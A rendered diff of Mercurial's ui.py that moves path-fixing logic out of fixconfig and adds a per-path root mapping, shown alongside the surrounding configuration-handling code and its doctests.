##// END OF EJS Templates
urlutil: move url "fixing" at the time of `ui.paths` initialization...
marmoute -
r48046:a671832a default
parent child Browse files
Show More
@@ -1,2229 +1,2236 b''
1 1 # ui.py - user interface bits for mercurial
2 2 #
3 3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import collections
11 11 import contextlib
12 12 import datetime
13 13 import errno
14 14 import inspect
15 15 import os
16 16 import re
17 17 import signal
18 18 import socket
19 19 import subprocess
20 20 import sys
21 21 import traceback
22 22
23 23 from .i18n import _
24 24 from .node import hex
25 25 from .pycompat import (
26 26 getattr,
27 27 open,
28 28 )
29 29
30 30 from . import (
31 31 color,
32 32 config,
33 33 configitems,
34 34 encoding,
35 35 error,
36 36 formatter,
37 37 loggingutil,
38 38 progress,
39 39 pycompat,
40 40 rcutil,
41 41 scmutil,
42 42 util,
43 43 )
44 44 from .utils import (
45 45 dateutil,
46 46 procutil,
47 47 resourceutil,
48 48 stringutil,
49 49 urlutil,
50 50 )
51 51
52 52 urlreq = util.urlreq
53 53
54 54 # for use with str.translate(None, _keepalnum), to keep just alphanumerics
55 55 _keepalnum = b''.join(
56 56 c for c in map(pycompat.bytechr, range(256)) if not c.isalnum()
57 57 )
58 58
59 59 # The config knobs that will be altered (if unset) by ui.tweakdefaults.
60 60 tweakrc = b"""
61 61 [ui]
62 62 # The rollback command is dangerous. As a rule, don't use it.
63 63 rollback = False
64 64 # Make `hg status` report copy information
65 65 statuscopies = yes
66 66 # Prefer curses UIs when available. Revert to plain-text with `text`.
67 67 interface = curses
68 68 # Make compatible commands emit cwd-relative paths by default.
69 69 relative-paths = yes
70 70
71 71 [commands]
72 72 # Grep working directory by default.
73 73 grep.all-files = True
74 74 # Refuse to perform an `hg update` that would cause a file content merge
75 75 update.check = noconflict
76 76 # Show conflicts information in `hg status`
77 77 status.verbose = True
78 78 # Make `hg resolve` with no action (like `-m`) fail instead of re-merging.
79 79 resolve.explicit-re-merge = True
80 80
81 81 [diff]
82 82 git = 1
83 83 showfunc = 1
84 84 word-diff = 1
85 85 """
86 86
87 87 samplehgrcs = {
88 88 b'user': b"""# example user config (see 'hg help config' for more info)
89 89 [ui]
90 90 # name and email, e.g.
91 91 # username = Jane Doe <jdoe@example.com>
92 92 username =
93 93
94 94 # We recommend enabling tweakdefaults to get slight improvements to
95 95 # the UI over time. Make sure to set HGPLAIN in the environment when
96 96 # writing scripts!
97 97 # tweakdefaults = True
98 98
99 99 # uncomment to disable color in command output
100 100 # (see 'hg help color' for details)
101 101 # color = never
102 102
103 103 # uncomment to disable command output pagination
104 104 # (see 'hg help pager' for details)
105 105 # paginate = never
106 106
107 107 [extensions]
108 108 # uncomment the lines below to enable some popular extensions
109 109 # (see 'hg help extensions' for more info)
110 110 #
111 111 # histedit =
112 112 # rebase =
113 113 # uncommit =
114 114 """,
115 115 b'cloned': b"""# example repository config (see 'hg help config' for more info)
116 116 [paths]
117 117 default = %s
118 118
119 119 # path aliases to other clones of this repo in URLs or filesystem paths
120 120 # (see 'hg help config.paths' for more info)
121 121 #
122 122 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
123 123 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
124 124 # my-clone = /home/jdoe/jdoes-clone
125 125
126 126 [ui]
127 127 # name and email (local to this repository, optional), e.g.
128 128 # username = Jane Doe <jdoe@example.com>
129 129 """,
130 130 b'local': b"""# example repository config (see 'hg help config' for more info)
131 131 [paths]
132 132 # path aliases to other clones of this repo in URLs or filesystem paths
133 133 # (see 'hg help config.paths' for more info)
134 134 #
135 135 # default = http://example.com/hg/example-repo
136 136 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
137 137 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
138 138 # my-clone = /home/jdoe/jdoes-clone
139 139
140 140 [ui]
141 141 # name and email (local to this repository, optional), e.g.
142 142 # username = Jane Doe <jdoe@example.com>
143 143 """,
144 144 b'global': b"""# example system-wide hg config (see 'hg help config' for more info)
145 145
146 146 [ui]
147 147 # uncomment to disable color in command output
148 148 # (see 'hg help color' for details)
149 149 # color = never
150 150
151 151 # uncomment to disable command output pagination
152 152 # (see 'hg help pager' for details)
153 153 # paginate = never
154 154
155 155 [extensions]
156 156 # uncomment the lines below to enable some popular extensions
157 157 # (see 'hg help extensions' for more info)
158 158 #
159 159 # blackbox =
160 160 # churn =
161 161 """,
162 162 }
163 163
164 164
165 165 def _maybestrurl(maybebytes):
166 166 return pycompat.rapply(pycompat.strurl, maybebytes)
167 167
168 168
169 169 def _maybebytesurl(maybestr):
170 170 return pycompat.rapply(pycompat.bytesurl, maybestr)
171 171
172 172
173 173 class httppasswordmgrdbproxy(object):
174 174 """Delays loading urllib2 until it's needed."""
175 175
176 176 def __init__(self):
177 177 self._mgr = None
178 178
179 179 def _get_mgr(self):
180 180 if self._mgr is None:
181 181 self._mgr = urlreq.httppasswordmgrwithdefaultrealm()
182 182 return self._mgr
183 183
184 184 def add_password(self, realm, uris, user, passwd):
185 185 return self._get_mgr().add_password(
186 186 _maybestrurl(realm),
187 187 _maybestrurl(uris),
188 188 _maybestrurl(user),
189 189 _maybestrurl(passwd),
190 190 )
191 191
192 192 def find_user_password(self, realm, uri):
193 193 mgr = self._get_mgr()
194 194 return _maybebytesurl(
195 195 mgr.find_user_password(_maybestrurl(realm), _maybestrurl(uri))
196 196 )
197 197
198 198
199 199 def _catchterm(*args):
200 200 raise error.SignalInterrupt
201 201
202 202
203 203 # unique object used to detect no default value has been provided when
204 204 # retrieving configuration value.
205 205 _unset = object()
206 206
207 207 # _reqexithandlers: callbacks run at the end of a request
208 208 _reqexithandlers = []
209 209
210 210
211 211 class ui(object):
212 212 def __init__(self, src=None):
213 213 """Create a fresh new ui object if no src given
214 214
215 215 Use uimod.ui.load() to create a ui which knows global and user configs.
216 216 In most cases, you should use ui.copy() to create a copy of an existing
217 217 ui object.
218 218 """
219 219 # _buffers: used for temporary capture of output
220 220 self._buffers = []
221 221 # 3-tuple describing how each buffer in the stack behaves.
222 222 # Values are (capture stderr, capture subprocesses, apply labels).
223 223 self._bufferstates = []
224 224 # When a buffer is active, defines whether we are expanding labels.
225 225 # This exists to prevent an extra list lookup.
226 226 self._bufferapplylabels = None
227 227 self.quiet = self.verbose = self.debugflag = self.tracebackflag = False
228 228 self._reportuntrusted = True
229 229 self._knownconfig = configitems.coreitems
230 230 self._ocfg = config.config() # overlay
231 231 self._tcfg = config.config() # trusted
232 232 self._ucfg = config.config() # untrusted
233 233 self._trustusers = set()
234 234 self._trustgroups = set()
235 235 self.callhooks = True
236 # hold the root to use for each [paths] entry
237 self._path_to_root = {}
236 238 # Insecure server connections requested.
237 239 self.insecureconnections = False
238 240 # Blocked time
239 241 self.logblockedtimes = False
240 242 # color mode: see mercurial/color.py for possible value
241 243 self._colormode = None
242 244 self._terminfoparams = {}
243 245 self._styles = {}
244 246 self._uninterruptible = False
245 247 self.showtimestamp = False
246 248
247 249 if src:
248 250 self._fout = src._fout
249 251 self._ferr = src._ferr
250 252 self._fin = src._fin
251 253 self._fmsg = src._fmsg
252 254 self._fmsgout = src._fmsgout
253 255 self._fmsgerr = src._fmsgerr
254 256 self._finoutredirected = src._finoutredirected
255 257 self._loggers = src._loggers.copy()
256 258 self.pageractive = src.pageractive
257 259 self._disablepager = src._disablepager
258 260 self._tweaked = src._tweaked
259 261
260 262 self._tcfg = src._tcfg.copy()
261 263 self._ucfg = src._ucfg.copy()
262 264 self._ocfg = src._ocfg.copy()
263 265 self._trustusers = src._trustusers.copy()
264 266 self._trustgroups = src._trustgroups.copy()
265 267 self.environ = src.environ
266 268 self.callhooks = src.callhooks
269 self._path_to_root = src._path_to_root
267 270 self.insecureconnections = src.insecureconnections
268 271 self._colormode = src._colormode
269 272 self._terminfoparams = src._terminfoparams.copy()
270 273 self._styles = src._styles.copy()
271 274
272 275 self.fixconfig()
273 276
274 277 self.httppasswordmgrdb = src.httppasswordmgrdb
275 278 self._blockedtimes = src._blockedtimes
276 279 else:
277 280 self._fout = procutil.stdout
278 281 self._ferr = procutil.stderr
279 282 self._fin = procutil.stdin
280 283 self._fmsg = None
281 284 self._fmsgout = self.fout # configurable
282 285 self._fmsgerr = self.ferr # configurable
283 286 self._finoutredirected = False
284 287 self._loggers = {}
285 288 self.pageractive = False
286 289 self._disablepager = False
287 290 self._tweaked = False
288 291
289 292 # shared read-only environment
290 293 self.environ = encoding.environ
291 294
292 295 self.httppasswordmgrdb = httppasswordmgrdbproxy()
293 296 self._blockedtimes = collections.defaultdict(int)
294 297
295 298 allowed = self.configlist(b'experimental', b'exportableenviron')
296 299 if b'*' in allowed:
297 300 self._exportableenviron = self.environ
298 301 else:
299 302 self._exportableenviron = {}
300 303 for k in allowed:
301 304 if k in self.environ:
302 305 self._exportableenviron[k] = self.environ[k]
303 306
304 307 def _new_source(self):
305 308 self._ocfg.new_source()
306 309 self._tcfg.new_source()
307 310 self._ucfg.new_source()
308 311
309 312 @classmethod
310 313 def load(cls):
311 314 """Create a ui and load global and user configs"""
312 315 u = cls()
313 316 # we always trust global config files and environment variables
314 317 for t, f in rcutil.rccomponents():
315 318 if t == b'path':
316 319 u.readconfig(f, trust=True)
317 320 elif t == b'resource':
318 321 u.read_resource_config(f, trust=True)
319 322 elif t == b'items':
320 323 u._new_source()
321 324 sections = set()
322 325 for section, name, value, source in f:
323 326 # do not set u._ocfg
324 327 # XXX clean this up once immutable config object is a thing
325 328 u._tcfg.set(section, name, value, source)
326 329 u._ucfg.set(section, name, value, source)
327 330 sections.add(section)
328 331 for section in sections:
329 332 u.fixconfig(section=section)
330 333 else:
331 334 raise error.ProgrammingError(b'unknown rctype: %s' % t)
332 335 u._maybetweakdefaults()
333 336 u._new_source() # anything after that is a different level
334 337 return u
335 338
336 339 def _maybetweakdefaults(self):
337 340 if not self.configbool(b'ui', b'tweakdefaults'):
338 341 return
339 342 if self._tweaked or self.plain(b'tweakdefaults'):
340 343 return
341 344
342 345 # Note: it is SUPER IMPORTANT that you set self._tweaked to
343 346 # True *before* any calls to setconfig(), otherwise you'll get
344 347 # infinite recursion between setconfig and this method.
345 348 #
346 349 # TODO: We should extract an inner method in setconfig() to
347 350 # avoid this weirdness.
348 351 self._tweaked = True
349 352 tmpcfg = config.config()
350 353 tmpcfg.parse(b'<tweakdefaults>', tweakrc)
351 354 for section in tmpcfg:
352 355 for name, value in tmpcfg.items(section):
353 356 if not self.hasconfig(section, name):
354 357 self.setconfig(section, name, value, b"<tweakdefaults>")
355 358
356 359 def copy(self):
357 360 return self.__class__(self)
358 361
359 362 def resetstate(self):
360 363 """Clear internal state that shouldn't persist across commands"""
361 364 if self._progbar:
362 365 self._progbar.resetstate() # reset last-print time of progress bar
363 366 self.httppasswordmgrdb = httppasswordmgrdbproxy()
364 367
365 368 @contextlib.contextmanager
366 369 def timeblockedsection(self, key):
367 370 # this is open-coded below - search for timeblockedsection to find them
368 371 starttime = util.timer()
369 372 try:
370 373 yield
371 374 finally:
372 375 self._blockedtimes[key + b'_blocked'] += (
373 376 util.timer() - starttime
374 377 ) * 1000
375 378
376 379 @contextlib.contextmanager
377 380 def uninterruptible(self):
378 381 """Mark an operation as unsafe.
379 382
380 383 Most operations on a repository are safe to interrupt, but a
381 384 few are risky (for example repair.strip). This context manager
382 385 lets you advise Mercurial that something risky is happening so
383 386 that control-C etc can be blocked if desired.
384 387 """
385 388 enabled = self.configbool(b'experimental', b'nointerrupt')
386 389 if enabled and self.configbool(
387 390 b'experimental', b'nointerrupt-interactiveonly'
388 391 ):
389 392 enabled = self.interactive()
390 393 if self._uninterruptible or not enabled:
391 394 # if nointerrupt support is turned off, the process isn't
392 395 # interactive, or we're already in an uninterruptible
393 396 # block, do nothing.
394 397 yield
395 398 return
396 399
397 400 def warn():
398 401 self.warn(_(b"shutting down cleanly\n"))
399 402 self.warn(
400 403 _(b"press ^C again to terminate immediately (dangerous)\n")
401 404 )
402 405 return True
403 406
404 407 with procutil.uninterruptible(warn):
405 408 try:
406 409 self._uninterruptible = True
407 410 yield
408 411 finally:
409 412 self._uninterruptible = False
410 413
411 414 def formatter(self, topic, opts):
412 415 return formatter.formatter(self, self, topic, opts)
413 416
414 417 def _trusted(self, fp, f):
415 418 st = util.fstat(fp)
416 419 if util.isowner(st):
417 420 return True
418 421
419 422 tusers, tgroups = self._trustusers, self._trustgroups
420 423 if b'*' in tusers or b'*' in tgroups:
421 424 return True
422 425
423 426 user = util.username(st.st_uid)
424 427 group = util.groupname(st.st_gid)
425 428 if user in tusers or group in tgroups or user == util.username():
426 429 return True
427 430
428 431 if self._reportuntrusted:
429 432 self.warn(
430 433 _(
431 434 b'not trusting file %s from untrusted '
432 435 b'user %s, group %s\n'
433 436 )
434 437 % (f, user, group)
435 438 )
436 439 return False
437 440
438 441 def read_resource_config(
439 442 self, name, root=None, trust=False, sections=None, remap=None
440 443 ):
441 444 try:
442 445 fp = resourceutil.open_resource(name[0], name[1])
443 446 except IOError:
444 447 if not sections: # ignore unless we were looking for something
445 448 return
446 449 raise
447 450
448 451 self._readconfig(
449 452 b'resource:%s.%s' % name, fp, root, trust, sections, remap
450 453 )
451 454
452 455 def readconfig(
453 456 self, filename, root=None, trust=False, sections=None, remap=None
454 457 ):
455 458 try:
456 459 fp = open(filename, 'rb')
457 460 except IOError:
458 461 if not sections: # ignore unless we were looking for something
459 462 return
460 463 raise
461 464
462 465 self._readconfig(filename, fp, root, trust, sections, remap)
463 466
464 467 def _readconfig(
465 468 self, filename, fp, root=None, trust=False, sections=None, remap=None
466 469 ):
467 470 with fp:
468 471 cfg = config.config()
469 472 trusted = sections or trust or self._trusted(fp, filename)
470 473
471 474 try:
472 475 cfg.read(filename, fp, sections=sections, remap=remap)
473 476 except error.ConfigError as inst:
474 477 if trusted:
475 478 raise
476 479 self.warn(
477 480 _(b'ignored %s: %s\n') % (inst.location, inst.message)
478 481 )
479 482
480 483 self._applyconfig(cfg, trusted, root)
481 484
482 485 def applyconfig(self, configitems, source=b"", root=None):
483 486 """Add configitems from a non-file source. Unlike with ``setconfig()``,
484 487 they can be overridden by subsequent config file reads. The items are
485 488 in the same format as ``configoverride()``, namely a dict of the
486 489 following structures: {(section, name) : value}
487 490
488 491 Typically this is used by extensions that inject themselves into the
489 492 config file load procedure by monkeypatching ``localrepo.loadhgrc()``.
490 493 """
491 494 cfg = config.config()
492 495
493 496 for (section, name), value in configitems.items():
494 497 cfg.set(section, name, value, source)
495 498
496 499 self._applyconfig(cfg, True, root)
497 500
498 501 def _applyconfig(self, cfg, trusted, root):
499 502 if self.plain():
500 503 for k in (
501 504 b'debug',
502 505 b'fallbackencoding',
503 506 b'quiet',
504 507 b'slash',
505 508 b'logtemplate',
506 509 b'message-output',
507 510 b'statuscopies',
508 511 b'style',
509 512 b'traceback',
510 513 b'verbose',
511 514 ):
512 515 if k in cfg[b'ui']:
513 516 del cfg[b'ui'][k]
514 517 for k, v in cfg.items(b'defaults'):
515 518 del cfg[b'defaults'][k]
516 519 for k, v in cfg.items(b'commands'):
517 520 del cfg[b'commands'][k]
518 521 for k, v in cfg.items(b'command-templates'):
519 522 del cfg[b'command-templates'][k]
520 523 # Don't remove aliases from the configuration if in the exceptionlist
521 524 if self.plain(b'alias'):
522 525 for k, v in cfg.items(b'alias'):
523 526 del cfg[b'alias'][k]
524 527 if self.plain(b'revsetalias'):
525 528 for k, v in cfg.items(b'revsetalias'):
526 529 del cfg[b'revsetalias'][k]
527 530 if self.plain(b'templatealias'):
528 531 for k, v in cfg.items(b'templatealias'):
529 532 del cfg[b'templatealias'][k]
530 533
531 534 if trusted:
532 535 self._tcfg.update(cfg)
533 536 self._tcfg.update(self._ocfg)
534 537 self._ucfg.update(cfg)
535 538 self._ucfg.update(self._ocfg)
536 539
537 540 if root is None:
538 541 root = os.path.expanduser(b'~')
539 542 self.fixconfig(root=root)
540 543
541 544 def fixconfig(self, root=None, section=None):
542 545 if section in (None, b'paths'):
543 546 # expand vars and ~
544 547 # translate paths relative to root (or home) into absolute paths
545 548 root = root or encoding.getcwd()
546 549 for c in self._tcfg, self._ucfg, self._ocfg:
547 550 for n, p in c.items(b'paths'):
551 old_p = p
552 s = self.configsource(b'paths', n) or b'none'
553 root_key = (n, p, s)
554 if root_key not in self._path_to_root:
555 self._path_to_root[root_key] = root
548 556 # Ignore sub-options.
549 557 if b':' in n:
550 558 continue
551 559 if not p:
552 560 continue
553 561 if b'%%' in p:
554 s = self.configsource(b'paths', n) or b'none'
562 if s is None:
563 s = 'none'
555 564 self.warn(
556 565 _(b"(deprecated '%%' in path %s=%s from %s)\n")
557 566 % (n, p, s)
558 567 )
559 568 p = p.replace(b'%%', b'%')
560 p = util.expandpath(p)
561 if not urlutil.hasscheme(p) and not os.path.isabs(p):
562 p = os.path.normpath(os.path.join(root, p))
563 c.alter(b"paths", n, p)
569 if p != old_p:
570 c.alter(b"paths", n, p)
564 571
565 572 if section in (None, b'ui'):
566 573 # update ui options
567 574 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
568 575 self.debugflag = self.configbool(b'ui', b'debug')
569 576 self.verbose = self.debugflag or self.configbool(b'ui', b'verbose')
570 577 self.quiet = not self.debugflag and self.configbool(b'ui', b'quiet')
571 578 if self.verbose and self.quiet:
572 579 self.quiet = self.verbose = False
573 580 self._reportuntrusted = self.debugflag or self.configbool(
574 581 b"ui", b"report_untrusted"
575 582 )
576 583 self.showtimestamp = self.configbool(b'ui', b'timestamp-output')
577 584 self.tracebackflag = self.configbool(b'ui', b'traceback')
578 585 self.logblockedtimes = self.configbool(b'ui', b'logblockedtimes')
579 586
580 587 if section in (None, b'trusted'):
581 588 # update trust information
582 589 self._trustusers.update(self.configlist(b'trusted', b'users'))
583 590 self._trustgroups.update(self.configlist(b'trusted', b'groups'))
584 591
585 592 if section in (None, b'devel', b'ui') and self.debugflag:
586 593 tracked = set()
587 594 if self.configbool(b'devel', b'debug.extensions'):
588 595 tracked.add(b'extension')
589 596 if tracked:
590 597 logger = loggingutil.fileobjectlogger(self._ferr, tracked)
591 598 self.setlogger(b'debug', logger)
592 599
593 600 def backupconfig(self, section, item):
594 601 return (
595 602 self._ocfg.backup(section, item),
596 603 self._tcfg.backup(section, item),
597 604 self._ucfg.backup(section, item),
598 605 )
599 606
600 607 def restoreconfig(self, data):
601 608 self._ocfg.restore(data[0])
602 609 self._tcfg.restore(data[1])
603 610 self._ucfg.restore(data[2])
604 611
605 612 def setconfig(self, section, name, value, source=b''):
606 613 for cfg in (self._ocfg, self._tcfg, self._ucfg):
607 614 cfg.set(section, name, value, source)
608 615 self.fixconfig(section=section)
609 616 self._maybetweakdefaults()
610 617
611 618 def _data(self, untrusted):
612 619 return untrusted and self._ucfg or self._tcfg
613 620
614 621 def configsource(self, section, name, untrusted=False):
615 622 return self._data(untrusted).source(section, name)
616 623
617 624 def config(self, section, name, default=_unset, untrusted=False):
618 625 """return the plain string version of a config"""
619 626 value = self._config(
620 627 section, name, default=default, untrusted=untrusted
621 628 )
622 629 if value is _unset:
623 630 return None
624 631 return value
625 632
626 633 def _config(self, section, name, default=_unset, untrusted=False):
627 634 value = itemdefault = default
628 635 item = self._knownconfig.get(section, {}).get(name)
629 636 alternates = [(section, name)]
630 637
631 638 if item is not None:
632 639 alternates.extend(item.alias)
633 640 if callable(item.default):
634 641 itemdefault = item.default()
635 642 else:
636 643 itemdefault = item.default
637 644 else:
638 645 msg = b"accessing unregistered config item: '%s.%s'"
639 646 msg %= (section, name)
640 647 self.develwarn(msg, 2, b'warn-config-unknown')
641 648
642 649 if default is _unset:
643 650 if item is None:
644 651 value = default
645 652 elif item.default is configitems.dynamicdefault:
646 653 value = None
647 654 msg = b"config item requires an explicit default value: '%s.%s'"
648 655 msg %= (section, name)
649 656 self.develwarn(msg, 2, b'warn-config-default')
650 657 else:
651 658 value = itemdefault
652 659 elif (
653 660 item is not None
654 661 and item.default is not configitems.dynamicdefault
655 662 and default != itemdefault
656 663 ):
657 664 msg = (
658 665 b"specifying a mismatched default value for a registered "
659 666 b"config item: '%s.%s' '%s'"
660 667 )
661 668 msg %= (section, name, pycompat.bytestr(default))
662 669 self.develwarn(msg, 2, b'warn-config-default')
663 670
664 671 candidates = []
665 672 config = self._data(untrusted)
666 673 for s, n in alternates:
667 674 candidate = config.get(s, n, None)
668 675 if candidate is not None:
669 676 candidates.append((s, n, candidate))
670 677 if candidates:
671 678
672 679 def level(x):
673 680 return config.level(x[0], x[1])
674 681
675 682 value = max(candidates, key=level)[2]
676 683
677 684 if self.debugflag and not untrusted and self._reportuntrusted:
678 685 for s, n in alternates:
679 686 uvalue = self._ucfg.get(s, n)
680 687 if uvalue is not None and uvalue != value:
681 688 self.debug(
682 689 b"ignoring untrusted configuration option "
683 690 b"%s.%s = %s\n" % (s, n, uvalue)
684 691 )
685 692 return value
686 693
687 694 def config_default(self, section, name):
688 695 """return the default value for a config option
689 696
690 697 The default is returned "raw", for example if it is a callable, the
691 698 callable was not called.
692 699 """
693 700 item = self._knownconfig.get(section, {}).get(name)
694 701
695 702 if item is None:
696 703 raise KeyError((section, name))
697 704 return item.default
698 705
699 706 def configsuboptions(self, section, name, default=_unset, untrusted=False):
700 707 """Get a config option and all sub-options.
701 708
702 709 Some config options have sub-options that are declared with the
703 710 format "key:opt = value". This method is used to return the main
704 711 option and all its declared sub-options.
705 712
706 713 Returns a 2-tuple of ``(option, sub-options)``, where `sub-options``
707 714 is a dict of defined sub-options where keys and values are strings.
708 715 """
709 716 main = self.config(section, name, default, untrusted=untrusted)
710 717 data = self._data(untrusted)
711 718 sub = {}
712 719 prefix = b'%s:' % name
713 720 for k, v in data.items(section):
714 721 if k.startswith(prefix):
715 722 sub[k[len(prefix) :]] = v
716 723
717 724 if self.debugflag and not untrusted and self._reportuntrusted:
718 725 for k, v in sub.items():
719 726 uvalue = self._ucfg.get(section, b'%s:%s' % (name, k))
720 727 if uvalue is not None and uvalue != v:
721 728 self.debug(
722 729 b'ignoring untrusted configuration option '
723 730 b'%s:%s.%s = %s\n' % (section, name, k, uvalue)
724 731 )
725 732
726 733 return main, sub
727 734
728 735 def configpath(self, section, name, default=_unset, untrusted=False):
729 736 """get a path config item, expanded relative to repo root or config
730 737 file"""
731 738 v = self.config(section, name, default, untrusted)
732 739 if v is None:
733 740 return None
734 741 if not os.path.isabs(v) or b"://" not in v:
735 742 src = self.configsource(section, name, untrusted)
736 743 if b':' in src:
737 744 base = os.path.dirname(src.rsplit(b':')[0])
738 745 v = os.path.join(base, os.path.expanduser(v))
739 746 return v
740 747
741 748 def configbool(self, section, name, default=_unset, untrusted=False):
742 749 """parse a configuration element as a boolean
743 750
744 751 >>> u = ui(); s = b'foo'
745 752 >>> u.setconfig(s, b'true', b'yes')
746 753 >>> u.configbool(s, b'true')
747 754 True
748 755 >>> u.setconfig(s, b'false', b'no')
749 756 >>> u.configbool(s, b'false')
750 757 False
751 758 >>> u.configbool(s, b'unknown')
752 759 False
753 760 >>> u.configbool(s, b'unknown', True)
754 761 True
755 762 >>> u.setconfig(s, b'invalid', b'somevalue')
756 763 >>> u.configbool(s, b'invalid')
757 764 Traceback (most recent call last):
758 765 ...
759 766 ConfigError: foo.invalid is not a boolean ('somevalue')
760 767 """
761 768
762 769 v = self._config(section, name, default, untrusted=untrusted)
763 770 if v is None:
764 771 return v
765 772 if v is _unset:
766 773 if default is _unset:
767 774 return False
768 775 return default
769 776 if isinstance(v, bool):
770 777 return v
771 778 b = stringutil.parsebool(v)
772 779 if b is None:
773 780 raise error.ConfigError(
774 781 _(b"%s.%s is not a boolean ('%s')") % (section, name, v)
775 782 )
776 783 return b
777 784
778 785 def configwith(
779 786 self, convert, section, name, default=_unset, desc=None, untrusted=False
780 787 ):
781 788 """parse a configuration element with a conversion function
782 789
783 790 >>> u = ui(); s = b'foo'
784 791 >>> u.setconfig(s, b'float1', b'42')
785 792 >>> u.configwith(float, s, b'float1')
786 793 42.0
787 794 >>> u.setconfig(s, b'float2', b'-4.25')
788 795 >>> u.configwith(float, s, b'float2')
789 796 -4.25
790 797 >>> u.configwith(float, s, b'unknown', 7)
791 798 7.0
792 799 >>> u.setconfig(s, b'invalid', b'somevalue')
793 800 >>> u.configwith(float, s, b'invalid')
794 801 Traceback (most recent call last):
795 802 ...
796 803 ConfigError: foo.invalid is not a valid float ('somevalue')
797 804 >>> u.configwith(float, s, b'invalid', desc=b'womble')
798 805 Traceback (most recent call last):
799 806 ...
800 807 ConfigError: foo.invalid is not a valid womble ('somevalue')
801 808 """
802 809
803 810 v = self.config(section, name, default, untrusted)
804 811 if v is None:
805 812 return v # do not attempt to convert None
806 813 try:
807 814 return convert(v)
808 815 except (ValueError, error.ParseError):
809 816 if desc is None:
810 817 desc = pycompat.sysbytes(convert.__name__)
811 818 raise error.ConfigError(
812 819 _(b"%s.%s is not a valid %s ('%s')") % (section, name, desc, v)
813 820 )
814 821
815 822 def configint(self, section, name, default=_unset, untrusted=False):
816 823 """parse a configuration element as an integer
817 824
818 825 >>> u = ui(); s = b'foo'
819 826 >>> u.setconfig(s, b'int1', b'42')
820 827 >>> u.configint(s, b'int1')
821 828 42
822 829 >>> u.setconfig(s, b'int2', b'-42')
823 830 >>> u.configint(s, b'int2')
824 831 -42
825 832 >>> u.configint(s, b'unknown', 7)
826 833 7
827 834 >>> u.setconfig(s, b'invalid', b'somevalue')
828 835 >>> u.configint(s, b'invalid')
829 836 Traceback (most recent call last):
830 837 ...
831 838 ConfigError: foo.invalid is not a valid integer ('somevalue')
832 839 """
833 840
834 841 return self.configwith(
835 842 int, section, name, default, b'integer', untrusted
836 843 )
837 844
838 845 def configbytes(self, section, name, default=_unset, untrusted=False):
839 846 """parse a configuration element as a quantity in bytes
840 847
841 848 Units can be specified as b (bytes), k or kb (kilobytes), m or
842 849 mb (megabytes), g or gb (gigabytes).
843 850
844 851 >>> u = ui(); s = b'foo'
845 852 >>> u.setconfig(s, b'val1', b'42')
846 853 >>> u.configbytes(s, b'val1')
847 854 42
848 855 >>> u.setconfig(s, b'val2', b'42.5 kb')
849 856 >>> u.configbytes(s, b'val2')
850 857 43520
851 858 >>> u.configbytes(s, b'unknown', b'7 MB')
852 859 7340032
853 860 >>> u.setconfig(s, b'invalid', b'somevalue')
854 861 >>> u.configbytes(s, b'invalid')
855 862 Traceback (most recent call last):
856 863 ...
857 864 ConfigError: foo.invalid is not a byte quantity ('somevalue')
858 865 """
859 866
860 867 value = self._config(section, name, default, untrusted)
861 868 if value is _unset:
862 869 if default is _unset:
863 870 default = 0
864 871 value = default
865 872 if not isinstance(value, bytes):
866 873 return value
867 874 try:
868 875 return util.sizetoint(value)
869 876 except error.ParseError:
870 877 raise error.ConfigError(
871 878 _(b"%s.%s is not a byte quantity ('%s')")
872 879 % (section, name, value)
873 880 )
874 881
875 882 def configlist(self, section, name, default=_unset, untrusted=False):
876 883 """parse a configuration element as a list of comma/space separated
877 884 strings
878 885
879 886 >>> u = ui(); s = b'foo'
880 887 >>> u.setconfig(s, b'list1', b'this,is "a small" ,test')
881 888 >>> u.configlist(s, b'list1')
882 889 ['this', 'is', 'a small', 'test']
883 890 >>> u.setconfig(s, b'list2', b'this, is "a small" , test ')
884 891 >>> u.configlist(s, b'list2')
885 892 ['this', 'is', 'a small', 'test']
886 893 """
887 894 # default is not always a list
888 895 v = self.configwith(
889 896 stringutil.parselist, section, name, default, b'list', untrusted
890 897 )
891 898 if isinstance(v, bytes):
892 899 return stringutil.parselist(v)
893 900 elif v is None:
894 901 return []
895 902 return v
896 903
897 904 def configdate(self, section, name, default=_unset, untrusted=False):
898 905 """parse a configuration element as a tuple of ints
899 906
900 907 >>> u = ui(); s = b'foo'
901 908 >>> u.setconfig(s, b'date', b'0 0')
902 909 >>> u.configdate(s, b'date')
903 910 (0, 0)
904 911 """
905 912 if self.config(section, name, default, untrusted):
906 913 return self.configwith(
907 914 dateutil.parsedate, section, name, default, b'date', untrusted
908 915 )
909 916 if default is _unset:
910 917 return None
911 918 return default
912 919
913 920 def configdefault(self, section, name):
914 921 """returns the default value of the config item"""
915 922 item = self._knownconfig.get(section, {}).get(name)
916 923 itemdefault = None
917 924 if item is not None:
918 925 if callable(item.default):
919 926 itemdefault = item.default()
920 927 else:
921 928 itemdefault = item.default
922 929 return itemdefault
923 930
924 931 def hasconfig(self, section, name, untrusted=False):
925 932 return self._data(untrusted).hasitem(section, name)
926 933
927 934 def has_section(self, section, untrusted=False):
928 935 '''tell whether section exists in config.'''
929 936 return section in self._data(untrusted)
930 937
931 938 def configitems(self, section, untrusted=False, ignoresub=False):
932 939 items = self._data(untrusted).items(section)
933 940 if ignoresub:
934 941 items = [i for i in items if b':' not in i[0]]
935 942 if self.debugflag and not untrusted and self._reportuntrusted:
936 943 for k, v in self._ucfg.items(section):
937 944 if self._tcfg.get(section, k) != v:
938 945 self.debug(
939 946 b"ignoring untrusted configuration option "
940 947 b"%s.%s = %s\n" % (section, k, v)
941 948 )
942 949 return items
943 950
944 951 def walkconfig(self, untrusted=False):
945 952 cfg = self._data(untrusted)
946 953 for section in cfg.sections():
947 954 for name, value in self.configitems(section, untrusted):
948 955 yield section, name, value
949 956
950 957 def plain(self, feature=None):
951 958 """is plain mode active?
952 959
953 960 Plain mode means that all configuration variables which affect
954 961 the behavior and output of Mercurial should be
955 962 ignored. Additionally, the output should be stable,
956 963 reproducible and suitable for use in scripts or applications.
957 964
958 965 The only way to trigger plain mode is by setting either the
959 966 `HGPLAIN' or `HGPLAINEXCEPT' environment variables.
960 967
961 968 The return value can either be
